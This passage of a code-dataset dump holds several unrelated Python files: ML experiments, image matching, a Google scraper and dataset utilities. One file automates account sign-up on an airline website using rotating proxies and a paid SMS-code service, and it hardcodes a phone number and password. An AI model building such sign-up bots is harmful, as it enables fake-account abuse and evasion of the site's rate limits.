:param W_pn: weights for positive and negative labels\n :param b_pn: bias for positive and negative labels\n :param W_dt: weights for deceptive and truthful labels\n :param b_dt: bias for deceptive and truthful labels\n :param word_feature_list: list, list of words to train on\n :return: None\n \"\"\"\n label1 = \"\"\n label2 = \"\"\n for file in os.listdir(sub_fold_dir_path):\n temp = [0 for i in range(1500)]\n f = open(os.path.join(sub_fold_dir_path, file))\n content = f.readlines()\n for line in content:\n review = process_reivew(line)\n for word in review:\n if word in word_feature_list:\n index = word_feature_list.index(word)\n temp[index] = 1\n pn = np.sign(np.dot(W_pn, np.array(temp)) + b_pn)\n dt = np.sign(np.dot(W_dt, np.array(temp)) + b_dt)\n\n if pn >= 0:\n label1 = \"positive\"\n else:\n label1 = \"negative\"\n\n if dt >= 0:\n label2 = \"truthful\"\n else:\n label2 = \"deceptive\"\n\n output.write(label2 + \" \" + label1 + \" \" + os.path.join(sub_fold_dir_path, file) + \"\\n\")\n\n\ndef process_reivew(review):\n \"\"\"\n Tokenize the sentence into word list \"I love you\" -> [\"I\",\"love\",\"you\"]\n :param review: string, a review sentence\n :return: review_clean: string, tokenized review as a list of words\n \"\"\"\n review_split = review.strip().split(\" \")\n # remove puncuation\n review_nopunc = [s.translate(str.maketrans('', '', string.punctuation)) for s in review_split]\n # remove none value\n review_nonone = [i for i in review_nopunc if i]\n # lower case all words\n review_lowercase = [i.lower() for i in review_nonone]\n # remove stop words\n review_clean = [item for item in review_lowercase if item not in stop_words]\n return review_clean\n\n\nif __name__ == '__main__':\n input = sys.argv[1]\n word_list, W_pn, b_pn, W_dt, b_dt = read_model(\"vanillamodel.txt\")\n classify_all(input, W_pn, b_pn, W_dt, b_dt, word_list)\n print(\"End\")\n","sub_path":"HW4/percepclassify.py","file_name":"percepclassify.py","file_ext":"py","file_size_in_byte":4556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"207453959","text":"import torch\nimport math\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport itertools as it\nimport random\nfrom sklearn.gaussian_process import GaussianProcessRegressor\nfrom sklearn.gaussian_process.kernels import RBF, ConstantKernel as C\n\ndef gen_normal(mu=0, sig=70):\n k=[]\n v=[]\n for i in range(200):\n x=i-100\n k.append(x)\n v.append(10*math.exp(-((x-mu)/sig)**2)/2) \n return k,v \n\n# generate normal distro data\ndata_in,data_lbl=gen_normal()\nnp_k=np.array(data_in).reshape([len(data_in),1])\nnp_v=np.array(data_lbl).reshape([len(data_in),1])\n\ndef sample_hp():\n # sample hyperparameters and model params\n hp_lr=0.0001+0.0009*random.random() #[0.0001,0.0005,0.001,0.005]\n hp_batch_sz=np.random.randint(16,64)\n hp_hs=np.random.randint(50,150)\n hp_act=(torch.nn.Tanh(),torch.nn.Tanh())#[(torch.nn.Tanh(),torch.nn.Tanh()),(torch.nn.Tanh(),torch.nn.ReLU())]\n return [hp_lr,hp_batch_sz,hp_hs,hp_act]\n\nparam_set=[]\ntest_loss=100\nopt_hp=None\nfor _ in range(25):\n param_set.append(sample_hp())\n\n# gridsearch\nfor hp in param_set:\n lr=hp[0]\n batch_sz=hp[1]\n acts=hp[3]\n hidl=hp[2]\n\n # define model\n model=torch.nn.Sequential(torch.nn.Linear(1,hidl), acts[0],torch.nn.Linear(hidl,hidl//2),acts[1],torch.nn.Linear(hidl//2,1))\n model=model.float()\n\n minibatch_size=batch_sz\n opt=torch.optim.RMSprop(model.parameters(), lr=lr)\n loss=torch.nn.MSELoss(reduction='sum')\n\n # train\n for ep in range(10000):\n idx=np.random.randint(0,len(data_in),minibatch_size)\n ep_loss=loss(model(torch.tensor(np_k[idx],dtype=torch.float)),torch.tensor(list(np_v[idx]),dtype=torch.float))\n # if ep%50==0:\n # print(ep_loss)\n\n opt.zero_grad()\n ep_loss.backward()\n opt.step()\n\n # x_ax=list(range(-100,100))\n # y1=data_lbl\n # y2=model(torch.tensor(np_k,dtype=torch.float)).tolist()\n\n if test_loss>loss(model(torch.tensor(np_k,dtype=torch.float)),torch.tensor(list(np_v),dtype=torch.float)).tolist():\n test_loss=loss(model(torch.tensor(np_k,dtype=torch.float)),torch.tensor(list(np_v),dtype=torch.float)).tolist()\n opt_hp=hp\n # plt.plot(x_ax,y1,x_ax,y2)\n # plt.show()\nprint(test_loss)\nprint(opt_hp)\n\nx_ax=list(range(-100,100))\ny1=data_lbl\ny2=model(torch.tensor(np_k,dtype=torch.float)).tolist()\nplt.plot(x_ax,y1,x_ax,y2)\nplt.show()","sub_path":"gp hpo example.py","file_name":"gp hpo example.py","file_ext":"py","file_size_in_byte":2377,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"305489932","text":"from select_covid_patient_X_ray_images import DataLoader\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.metrics import classification_report, confusion_matrix\r\nimport pickle\r\nimport os\r\nfrom keras.utils import to_categorical\r\nfrom keras.models import Sequential\r\nfrom keras.layers import Dense, Conv2D, Flatten\r\nimport numpy as np\r\n\r\nif __name__ == \"__main__\":\r\n processpictures = False\r\n if processpictures or not os.path.isfile('Pickles/covidDataset.p'):\r\n dataLoader = DataLoader(['PA'])\r\n print(40 * \"=\")\r\n print(\"Loading dataset from file\")\r\n print(40 * \"=\")\r\n covidset = dataLoader.loadDataSet()\r\n print()\r\n print(40 * \"=\")\r\n print(\"Completed loading dataset from file\")\r\n pickle.dump(covidset, open(\"Pickles/covidDataset.p\", \"wb\"))\r\n print(\"Dataset Pickled\")\r\n else:\r\n covidset = pickle.load(open(\"Pickles/covidDataset.p\", \"rb\"))\r\n covidset.y = to_categorical(covidset.y)\r\n X_train, X_test, y_train, y_test = train_test_split(covidset.X, covidset.y, test_size = 0.30)\r\n\r\n X_train = X_train.reshape(X_train.shape[0], covidset.minsize, covidset.minsize, 1)\r\n X_test = X_test.reshape(X_test.shape[0], covidset.minsize, covidset.minsize, 1)\r\n\r\n # create model\r\n model = Sequential()\r\n # add model layers\r\n model.add(Conv2D(64, kernel_size=3, activation='relu', input_shape=(covidset.minsize, covidset.minsize, 1)))\r\n model.add(Conv2D(32, kernel_size=3, activation='relu'))\r\n model.add(Flatten())\r\n model.add(Dense(2, activation='softmax'))\r\n\r\n # compile model using accuracy to measure model performance\r\n model.compile(optimizer='adam', loss='categorical_crossentropy', metrics=['accuracy'])\r\n\r\n # train the model\r\n model.fit(X_train, y_train, validation_data=(X_test, y_test), epochs=3)\r\n\r\n print(model.evaluate(X_test, y_test))\r\n\r\n\r\n # Print confusion matrix\r\n y_pred = model.predict(X_test)\r\n y_pred = np.argmax(y_pred, axis=1)\r\n y_test = np.argmax(y_test, axis=1)\r\n print('Confusion Matrix')\r\n print(confusion_matrix(y_test, y_pred))\r\n\r\n tn, fp, fn, tp = confusion_matrix(y_test, y_pred).ravel()\r\n print(\"True negative: {} \\nTrue positive: {} \\nFalse negative: {} \\nFalse positive: {}\".format(tn,tp,fn,fp))\r\n\r\n pickle.dump(model, open(\"Pickles/latestmodelaugment.p\", \"wb\"))","sub_path":"Augmentation.py","file_name":"Augmentation.py","file_ext":"py","file_size_in_byte":2363,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"648459383","text":"# --coding:utf-8--\nfrom AQ.get_phone_v import GetNumberCodeByBM\nfrom AQ.setting import *\nfrom AQ.Proxys import *\nfrom requests.exceptions import ConnectionError, ConnectTimeout, ReadTimeout, ProxyError\nfrom urllib3.exceptions import MaxRetryError, NewConnectionError\nfrom OpenSSL.SSL import Error, WantReadError\nimport traceback\nimport json\n\n\nclass Register(object):\n def __init__(self, data):\n self.ua = random.choice(USER_AGENT)\n self.user = data.get(\"user\")\n self.pwd = data.get(\"pwd\")\n proxy = get_proxy()\n self.ip = proxy[0]\n self.host = proxy[1]\n print(proxy)\n\n def get_verification_code(self):\n \"\"\"\n 获取短信验证码\n :return:\n \"\"\"\n url = \"http://www.9air.com/member/api/member/verification-code/send?language=zh_CN¤cy=CNY\"\n headers = {\n \"Host\": \"www.9air.com\",\n \"Connection\": \"keep-alive\",\n \"Content-Length\": \"99\",\n \"Pragma\": \"no-cache\",\n \"Accept-Language\": \"zh_CN\",\n \"User-Agent\": self.ua,\n \"Content-Type\": \"application/json;charset=UTF-8\",\n \"Accept\": \"application/json, text/plain, */*\",\n \"Cache-Control\": \"must-revalidate\",\n \"Expires\": \"0\",\n \"Origin\": \"http://www.9air.com\",\n \"Referer\": \"http://www.9air.com/zh-CN/regist\",\n \"Accept-Encoding\": \"gzip, deflate\",\n }\n data = {\"language\": \"zh_CN\", \"currency\": \"CNY\", \"event\": 1, \"type\": \"SMS\", \"phoneCode\": \"CN\",\n \"phone\": self.user}\n res = requests.post(url=url, headers=headers, json=data, verify=False, proxies=self.ip)\n if res.status_code == 200:\n print(\"发送验证码成功\")\n return True\n else:\n return {\n \"status\": 3,\n \"msg\": f\"注册失败,发送验证码失败,{res.json().get('msg')}\"\n }\n\n def post_register(self, verification_code):\n \"\"\"\n 提交注册\n :param verification_code:\n :return:\n \"\"\"\n url = \"http://www.9air.com/member/api/member/b2c/account/register?language=zh_CN¤cy=CNY\"\n headers = {\n \"Host\": \"www.9air.com\",\n \"Connection\": \"keep-alive\",\n \"Content-Length\": \"190\",\n \"Pragma\": \"no-cache\",\n \"Accept-Language\": \"zh_CN\",\n \"User-Agent\": self.ua,\n \"Content-Type\": \"application/json;charset=UTF-8\",\n \"Accept\": \"application/json, text/plain, */*\",\n \"Cache-Control\": \"must-revalidate\",\n \"Expires\": \"0\",\n \"Origin\": \"http://www.9air.com\",\n \"Referer\": \"http://www.9air.com/zh-CN/regist\",\n \"Accept-Encoding\": \"gzip, deflate\",\n }\n data = {\"language\": \"zh_CN\", \"currency\": \"CNY\", \"channelNo\": \"B2C\", \"type\": \"SMS\", \"phoneCode\": \"CN\",\n \"phone\": self.user, \"password\": self.pwd, \"confirmPassword\": self.pwd,\n \"verificationCode\": verification_code}\n res = requests.post(url=url, headers=headers, json=data, verify=False, proxies=self.ip)\n if res.status_code == 200:\n return {\n \"status\": 0,\n \"msg\": \"注册成功\",\n \"phone\": self.user,\n \"pwd\": self.pwd\n }\n return {\n \"status\": 3,\n \"msg\": f\"注册失败,{res.json().get('msg')}\"\n }\n\n def do_register(self):\n i = 0\n while i < 3:\n try:\n res_01 = self.get_verification_code()\n if res_01:\n code = GetNumberCodeByBM(aip_token).do_get_phone_message(phone=self.user)\n if isinstance(code, dict):\n code[\"index\"] = \"do_get_phone_message\"\n return code\n print(\"验证码:\", code)\n res_02 = self.post_register(verification_code=code)\n return res_02\n except (\n ConnectionError, ConnectTimeout, ReadTimeout, ProxyError, Error, WantReadError, MaxRetryError,\n NewConnectionError, json.decoder.JSONDecodeError):\n freed_proxy(host=self.host)\n i += 1\n except Exception:\n return {'status': 500, 'msg': traceback.format_exc()}\n else:\n return {\n \"status\": 3,\n \"msg\": \"注册失败,ip问题,请稍后重试\"\n }\n\n\nif __name__ == \"__main__\":\n Data = {\n \"user\": \"15128329218\",\n \"pwd\": \"yushang2020\"\n }\n reg = Register(data=Data)\n reg.do_register()\n","sub_path":"AQ/AQ_register.py","file_name":"AQ_register.py","file_ext":"py","file_size_in_byte":4686,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"49319962","text":"# Library imports\nimport numpy as np\nimport cv2 as cv\nfrom matplotlib import pyplot as plt\nimport sys\nfrom tqdm import tqdm\n\nsift = cv.SIFT_create()\n\n\ndef calculate_SIFT(img):\n # Find the keypoints and descriptors using SIFT features\n kp, des = sift.detectAndCompute(img, None)\n return kp, des\n\n\ndef knn_match(des1, des2, nn_ratio=0.75):\n # FLANN parameters\n index_params = dict(algorithm=0, trees=5)\n search_params = dict(checks=50)\n\n flann = cv.FlannBasedMatcher(index_params, search_params)\n\n # Match features from each image\n matches = flann.knnMatch(des1, des2, k=2)\n\n # store only the good matches as per Lowe's ratio test.\n good = []\n for m, n in matches:\n if m.distance < nn_ratio * n.distance:\n good.append(m)\n\n return good\n\n\ndef angle_horizontal(v):\n return -np.arctan2(v[1], v[0])\n\n\ndef knn_clasif(good_matches):\n best_template, highest_logprob = None, 0.0\n\n sum_good_matches = sum([len(gm) for gm in good_matches])\n for i, gm in enumerate(good_matches):\n logprob = len(gm) / sum_good_matches\n # save highest\n if logprob > highest_logprob:\n highest_logprob = logprob\n best_template = i\n logger.info('p(t_{} | x) = {:.4f}'.format(i, logprob))\n return best_template\n\n\ntemplate_name = \"./images/nemo_template.jpg\"\nquery_name = \"./images/nemo.jpg\"\n\ntemplate_img = cv.imread(template_name, cv.IMREAD_GRAYSCALE)\ntemplate_kp, template_des = calculate_SIFT(template_img)\nquery_img = cv.imread(query_name, cv.IMREAD_GRAYSCALE)\nquery_kp, query_des = calculate_SIFT(query_img)\n\ngm = knn_match(template_des, query_des)\nsrc_pts = np.float32(\n [template_kp[m.queryIdx].pt for m in gm]).reshape(-1, 1, 2)\ndst_pts = np.float32(\n [query_kp[m.trainIdx].pt for m in gm]).reshape(-1, 1, 2)\n\n# find the matrix transformation M\nM, mask = cv.findHomography(src_pts, dst_pts, cv.RANSAC, 5.0)\nmatchesMask = mask.ravel().tolist()\n\n# Make it affine\nM[2, 2] = 1.0\nM[2, 0] = 0.0\nM[2, 1] = 0.0\n# Calculate the rectangle enclosing the query image\nh, w = template_img.shape\n# Define the rectangle in the coordinates of the template image\npts = np.float32([[0, 0], [0, h - 1], [w - 1, h - 1],\n [w - 1, 0]]).reshape(-1, 1, 2)\n# transform the rectangle from the template \"coordinates\" to the query \"coordinates\"\ndst = cv.perspectiveTransform(pts, M)\n\n# calculate template \"world\" reference vectors\nw_v = np.array([w - 1, 0])\nh_v = np.array([h - 1, 0])\n# calculate query \"world\" reference vectors\nw_vp = (dst[3] - dst[0])[0]\nh_vp = (dst[1] - dst[0])[0]\n\nangle = angle_horizontal(w_vp)\n# estimate the scale using the top-horizontal line and left-vertical line\nscale_x = np.linalg.norm(w_vp) / np.linalg.norm(w_v)\nscale_y = np.linalg.norm(h_vp) / np.linalg.norm(h_v)\n# retrieve translation from original matrix M\nM = np.array([[scale_x * np.cos(angle), np.sin(angle), M[0, 2]],\n [-np.sin(angle), scale_y * np.cos(angle), M[1, 2]],\n [0, 0, 1.]])\n# retransform the rectangle with the new matrix\ndst = cv.perspectiveTransform(pts, M)\n\n# draw the rectangle in the image\nout = cv.polylines(query_img, [np.int32(dst)], True, 255, 3, cv.LINE_AA)\nplt.imshow(out, 'gray')\nplt.savefig('outline.png')\nplt.show()\n# show the matching features\nparams = dict(matchColor=(0, 255, 0), # draw matches in green color\n singlePointColor=None,\n matchesMask=matchesMask, # draw only inliers\n flags=2)\n# draw the matches image\nout = cv.drawMatches(template_img, template_kp,\n query_img, query_kp,\n gm,\n None, **params)\n\n# show result\nplt.imshow(out, 'gray')\nplt.savefig('linematches.png')\nplt.show()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3723,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"533256569","text":"import sys\nimport time\nimport collections\nimport urllib.request\nimport urllib.parse\nfrom pymongo import MongoClient\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.keys import Keys\nfrom html.parser import HTMLParser\n\n\nMAX_DEPTH = 1\nMAX_CHILD_NODES = 1\n\nclass myParser(HTMLParser):\n\tdef __init__(self, url):\n\t\tHTMLParser.__init__(self)\n\t\tself.baseUrl = '{uri.scheme}://{uri.netloc}/'.format(uri=urllib.parse.urlparse(url))\n\t\tself.links = []\n\tdef handle_starttag(self, tag, attrs):\n\t\tif tag == 'a':\n\t\t\tfor (key, value) in attrs:\n\t\t\t\tif key == 'href':\n\t\t\t\t\tfullUrl = urllib.parse.urljoin(self.baseUrl, value)\n\t\t\t\t\tself.links = self.links + [fullUrl]\n\ndef GetLinksFromBrowser(browser):\n\tresults = []\n\tlinks = browser.find_elements_by_xpath(\"//h3[@class='r']/a[@href]\")\n\tfor link in links:\n\t\turl = str(link.get_attribute('href'))\n\t\tresults.append(url)\n#\t\ttitle = link.text\n#\t\tsource = \"\"\n#\t\ttry:\n#\t\t\tsource = str(urllib.request.urlopen(url).read())\n#\t\texcept:\n#\t\t\tpass\n\t\t#result[\"title\"] = title\n#\t\tresult[\"url\"] = url\n\t\t#result[\"source\"] = source\n#\t\tresults.append(result)\n\tbrowser.quit\n\treturn results\n\ndef GetResultsFromURL(url, depth):\n\tprint(url + \" @@@ \" + str(depth) + \"\\n\")\n\tnode = {\"url\":url, \"children\":[]}\n\tparser = myParser(url)\n\tsrc = \"\"\n\ttry:\n\t\tsrc = str(urllib.request.urlopen(url).read())\n\texcept:\n\t\tpass\n\tparser.feed(src)\n\tnode[\"links\"] = collections.Counter(parser.links).most_common()\n\tif depth < MAX_DEPTH:\n\t\tnextDepth = depth + 1\n\t\tchildren = []\n\t\tfor i in range(MAX_CHILD_NODES):\n\t\t\tif i < len(node[\"links\"]):\n\t\t\t\tchildren.append(GetResultsFromURL(node[\"links\"][i][0], nextDepth))\n\t\t#for link in node[\"links\"].keys():\n\t\t\t#children.append(GetResultsFromURL(link, nextDepth))\n\t\tnode[\"children\"] = children\n\t\tfor child in node[\"children\"]:\n\t\t\tnode[\"links\"] += child[\"links\"]\n\treturn node\n\nif len(sys.argv) != 2:\n\tsys.stdout.write(\"Please include a search term enclosed in quotes. Ex: python program.py \\\"Hello World!\\\"\")\n\tsys.exit()\nconnector = MongoClient(\"mongodb://127.0.0.1/COMPUTER\")\nmdb = connector.MongoDBLocal_0.searches\nsearch = sys.argv[1]\nsearchData = {\"search\": search}\nbrowser = webdriver.Firefox()\nbrowser.get(\"https://www.google.com/webhp?#num=21&q=\" + search)\ntime.sleep(5)\n#searchData[\"results\"] = GetResultsFromBrowser(browser)\n#file_ = open('outbig.txt', 'w')\nresults = []\nfor link in GetLinksFromBrowser(browser):\n\tresult = GetResultsFromURL(link, 0)\n\tresults.append(result)\nsearchData[\"results\"] = results\n# topLinks = collections.Counter()\n# for i in range(len(results)):\n# \tif i == 0:\n# \t\ttopLinks = results[i][\"links\"]\n# \telse:\n# \t\ttopLinks += results[i][\"links\"]\n#topLinks = topLinks.sort(key=lambda tup: tup[1])\n#searchData[\"TopLinks\"] = topLinks\n#\tfile_.write(str(GetResultsFromURL(result[\"url\"], 0)))\n#file_.close()\nmdb.insert(searchData)\nconnector.close()","sub_path":"latest.py","file_name":"latest.py","file_ext":"py","file_size_in_byte":2977,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"572777902","text":"###################################################################################################\n# Script for parsing the lip dataset into cropped images\n# Author: Hans\n# Creating date: 05/14/2020\n###################################################################################################\n\nimport argparse\nimport cv2\nimport numpy as np\nimport glob\nimport os\nfrom os import path as osp\nfrom tqdm import tqdm\n\ndef get_arguments(): \n parser = argparse.ArgumentParser(\"Building the cropped LIP dataset\") \n parser.add_argument('--dataroot', type=str, default=\"/pub1/hao66/dataset/lip_dataset\", help='path to thce dataset')\n parser.add_argument('--results_dir', type=str, default=\"/pub1/hao66/dataset/lip_dataset_cropped\", help='path to thce result directory')\n return parser.parse_args()\n\ndef get_images(dataroot):\n \"\"\"Get training and testing images.\n Params: \n dataroot: dataset root path\n Returns:\n train_files: a list of training file paths\n test_files: a list of testing file paths\n \"\"\"\n root = osp.join(dataroot, 'TrainVal_images')\n # load training files\n path = osp.join(root, 'train_images')\n train_files = sorted(glob.glob(osp.join(path, \"*.jpg\")))\n # load testing files\n path = osp.join(root, 'val_images')\n test_files = sorted(glob.glob(osp.join(path, \"*.jpg\")))\n return train_files, test_files\n\ndef get_annotations(dataroot):\n \"\"\"Get training and testing body-part annotations.\n Params: \n dataroot: dataset root path\n Returns:\n train_anno_files: a list of training file paths\n test_anno_files: a list of testing file paths\n \"\"\"\n root = osp.join(dataroot, 'TrainVal_parsing_annotations')\n # load training files\n path = osp.join(root, 'train_segmentations')\n train_anno_files = sorted(glob.glob(osp.join(path, \"*.png\")))\n # load testing files\n path = osp.join(root, 'val_segmentations')\n test_anno_files = sorted(glob.glob(osp.join(path, \"*.png\")))\n return train_anno_files, test_anno_files\n\ndef check_image_annotation_consistency(*args):\n assert len(args) % 2 == 0, \"number of input should be even, but got %d\" % len(args)\n image_file_list = args[:len(args)//2]\n anno_file_list = args[len(args)//2:]\n for image_files, anno_files in zip(image_file_list, anno_file_list):\n assert len(image_files) == len(anno_files) != 0, \"%d != %d\" % (len(image_files), len(anno_files))\n for image_file, anno_file in zip(image_files, anno_files):\n image_name = osp.splitext(osp.basename(image_file))[0]\n anno_name = osp.splitext(osp.basename(anno_file))[0]\n assert image_name == anno_name, \"%s != %s\" % (image_name, anno_name)\n\ndef crop_images(image_files, anno_files):\n \"\"\"Save the images to the result path given the image paths.\n Params: \n image_files: a list of image file paths\n anno_files: a list of annoataion image file paths\n Returns:\n crop_images: a list of [numpy.array, image name, label] of cropped images\n crop_annos: a list of [numpy.array, image name, label] of cropped annotation images\n \"\"\"\n crop_images, crop_annos = [], []\n for image_file, anno_file in tqdm(zip(image_files, anno_files), total=len(image_files)):\n image = cv2.imread(image_file)\n anno = cv2.imread(anno_file, 0)\n image_name = osp.splitext(osp.basename(image_file))[0]\n labels = np.unique(anno)\n for label in labels:\n if not label: continue # not 0\n ys, xs = np.where(anno == label)\n if not len(xs) or not len(ys): continue\n bbox = [xs.min(), ys.min(), xs.max(), ys.max()] # [left, top, right, bottom]\n patch_image = image[bbox[1]:bbox[3], bbox[0]:bbox[2]]\n patch_anno = anno[bbox[1]:bbox[3], bbox[0]:bbox[2]] == label\n if not patch_anno.size: continue\n crop_images.append([patch_image, image_name, label])\n crop_annos.append([patch_anno, image_name, label])\n return crop_images, crop_annos\n\ndef mkdir(path):\n if not osp.exists(path):\n os.makedirs(path)\n\ndef save_images(images, annos, results_dir):\n \"\"\"Save the images to the result path given the image paths.\n Params: \n images: a list of [numpy.array, image name, label] of cropped images\n annos: a list of [numpy.array, image name, label] of cropped annotation images\n results_dir: root path for the small image\n Returns:\n None \n \"\"\"\n print(\"Saving images...\")\n mkdir(results_dir)\n mkdir(osp.join(results_dir, \"images\"))\n mkdir(osp.join(results_dir, \"annotations\"))\n for image, name, label in tqdm(images):\n save_name = name + \"-\" + str(label) + \".png\"\n cv2.imwrite(osp.join(results_dir, \"images\", save_name), image)\n for anno, name, label in tqdm(annos):\n save_name = name + \"-\" + str(label) + \".png\"\n cv2.imwrite(osp.join(results_dir, \"annotations\", save_name), (anno * 255).astype(np.uint8))\n\nif __name__ == '__main__':\n opt = get_arguments()\n train_files, test_files = get_images(opt.dataroot)\n train_anno_files, test_anno_files = get_annotations(opt.dataroot)\n check_image_annotation_consistency(train_files, test_files, train_anno_files, test_anno_files)\n \n train_crop_images, train_crop_masks = crop_images(train_files, train_anno_files)\n test_crop_images, test_crop_masks = crop_images(test_files, test_anno_files)\n \n \n mkdir(opt.results_dir)\n save_images(train_crop_images, train_crop_masks, osp.join(opt.results_dir, \"train\"))\n save_images(test_crop_images, test_crop_masks, osp.join(opt.results_dir, \"test\"))","sub_path":"script/parse_lip_dataset.py","file_name":"parse_lip_dataset.py","file_ext":"py","file_size_in_byte":5745,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"626614714","text":"import keras\nimport random\nfrom keras.datasets import mnist\nimport numpy as np\nfrom keras.layers import Conv2D, MaxPooling2D\nfrom keras.layers import Dense, Flatten\nfrom keras.models import Sequential\n\n(x_train, y_train), (x_test, y_test) = mnist.load_data()\n# seeds = [] [415, 87, 622, 307, 509, 224, 904, 9, 598, 825]\nDataMiss_Index = []\nrandom.seed(825)\nDataMiss_Index = random.sample(range(60000),600)\nx_train = np.delete(x_train,DataMiss_Index,axis=0)\ny_train = np.delete(y_train,DataMiss_Index,axis=0)\n\nx_train = x_train.astype('float32').reshape(-1,28,28,1)\nx_test = x_test.astype('float32').reshape(-1,28,28,1)\n\nx_train = x_train / 255\nx_test = x_test / 255\nprint('Train:{},Test:{}'.format(len(x_train),len(x_test)))\ny_train = keras.utils.to_categorical(y_train, 10)\ny_test = keras.utils.to_categorical(y_test, 10)\n\nmodel = Sequential()\nmodel.add(Conv2D(filters=6, kernel_size=(5, 5), activation='relu',padding='valid',input_shape=(28, 28, 1)))\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\nmodel.add(Conv2D(filters=16, kernel_size=(5, 5),padding='valid', activation='relu'))\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\nmodel.add(Flatten())\nmodel.add(Dense(120, activation='relu'))\nmodel.add(Dense(84, activation='relu'))\nmodel.add(Dense(10, activation='softmax'))\nmodel.summary()\n\n\nmodel.compile(loss='categorical_crossentropy', optimizer='sgd', metrics=['accuracy'])\nmodel.fit(x_train, y_train, batch_size=128, epochs=10, verbose=1,shuffle=False) #shuffle=True,\nscore = model.evaluate(x_test, y_test)\nprint('Test Loss: %.4f' % score[0])\nprint('Test accuracy: %.4f'% score[1])\nmodel.save('ModelA_DM9.hdf5')\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"source_level/Data Missing/DM_modelA.py","file_name":"DM_modelA.py","file_ext":"py","file_size_in_byte":1623,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"357898392","text":"#Program a function that returns a new distribution \n#q, shifted to the right by U units. If U=0, q should \n#be the same as p.\n\np=[0, 1, 0, 0, 0]\nworld=['green', 'red', 'red', 'green', 'green']\nmeasurements = ['red', 'green']\npHit = 0.6\npMiss = 0.2\n\ndef sense(p, Z):\n # loop over the probabilities\n q = [x * pHit if world[i] == Z else x * pMiss for i, x in enumerate(p)]\n \n # calculate the sum\n total = sum(q)\n\n # normalize \n return list(map(lambda x: x/total, q)) \n\ndef move(p, U):\n # not sure why?\n U = U % len(p)\n \n # cyclic (exact) movement\n # get the last U items (p[-U:]) and put them before all but the last U items (p[:-U])\n return p[-U:] + p[:-U]\n\nprint(move(p, 1))\n","sub_path":"core_currucular/2_localization_path_planning_control_and_system_integration/1_introduction_to_localization/22.py","file_name":"22.py","file_ext":"py","file_size_in_byte":714,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"493493522","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport sys\nimport os\nimport utils\nimport time\nimport deviceHelper\nimport initLibrary\nfrom utils import Log\nfrom testcase import TestCase\nfrom uiautomatorHelper import UIAutomatorHelper\n\nclass TestPersonalSettingReset(TestCase):\n def __init__(self , doc, level,owner):\n super(TestPersonalSettingReset,self).__init__(doc,level,owner)\n# prepare part, call in whaleyTAP.py\n def con_device(self):\n deviceHelper.adb_connect(self.plan.target)\n time.sleep(1)\n deviceHelper.adb_connect(self.plan.target)\n time.sleep(1)\n\n# execute part, call in subprocess\n def execute(self):\n self.con_device()\n Log().info(\"test_sys_personalSettingReset execute\")\n jar_name=\"TvUiTools.jar\"\n package_name=\"cn.whaley.util.caseUtil.system.CaseBase\"\n content=\"personalSettingReset\"\n uiautomator=UIAutomatorHelper(self.plan.target,jar_name,package_name)\n self._status=uiautomator._uiautomator_test(content)\n if self._status is True:\n Log().info(\"screen protect setting is 10min\")\n else:\n self._msg=\"screen protect setting fail\"\n\n# must add execute() here\nif __name__ == \"__main__\":\n TestPersonalSettingReset('Test reset screen protect ','p2','qiwj').run()\n\n","sub_path":"Python_Java_UIautomator/case/platform/system/test_sys_personalSettingReset.py","file_name":"test_sys_personalSettingReset.py","file_ext":"py","file_size_in_byte":1305,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"139006434","text":"import os\nimport sqlite3 as sqlite\nimport shutil\n\nfont_folder = 'font'\nsrc_db_path = 'db/logomaker_db.db'\ndst_db_path = 'db/logo_maker.db'\n\nsrc_conn = sqlite.connect(src_db_path)\ndst_conn = sqlite.connect(dst_db_path)\n\nsrc_cur = src_conn.cursor()\ndst_cur = dst_conn.cursor()\n\ndst_cur.execute('select * from font_category') \nrows = dst_cur.fetchall()\nfont_cate = []\nfor row in rows:\n name = row[1]\n print(name)\n font_cate.append(name)\nprint(f'font category = {font_cate}')\n\n#clear\ndst_cur.execute('delete from font_info')\n\nrows = src_cur.execute('select * from fontsmaster')\n#create folder\nfont_out_path = 'out_font'\nif os.path.isdir(font_out_path):\n #folder exist, clear it\n shutil.rmtree(font_out_path)\nelse:\n os.mkdir(font_out_path)\n\nfor row in rows:\n index = font_cate.index(row[4])\n if index == -1:\n print(f'font id = {row[0]} error')\n else:\n font_res = row[1]\n src_full_path = f'{font_folder}/{font_res}'\n dst_full_path = f'out_font/{font_res}'\n if os.path.isfile(src_full_path):\n #copy to out_font and add to db\n shutil.copyfile(src_full_path, dst_full_path)\n sql = f'insert into font_info(res_id, category_id, subtitle_font) values(\"{row[1]}\", \"{index}\", \"{1 if row[5] == \"SubtitleFont\" else 0}\")'\n dst_cur.execute(sql)\n else:\n print(f'font id = {row[0]} file does not exits!')\n \ndst_conn.commit()\n\nsrc_cur.close()\ndel src_cur\n\ndst_cur.close()\ndel dst_cur\n\nsrc_conn.close()\ndst_conn.close()\n\nprint('build font db finish!')\n\n\n\n\n\n","sub_path":"build_font.py","file_name":"build_font.py","file_ext":"py","file_size_in_byte":1566,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} 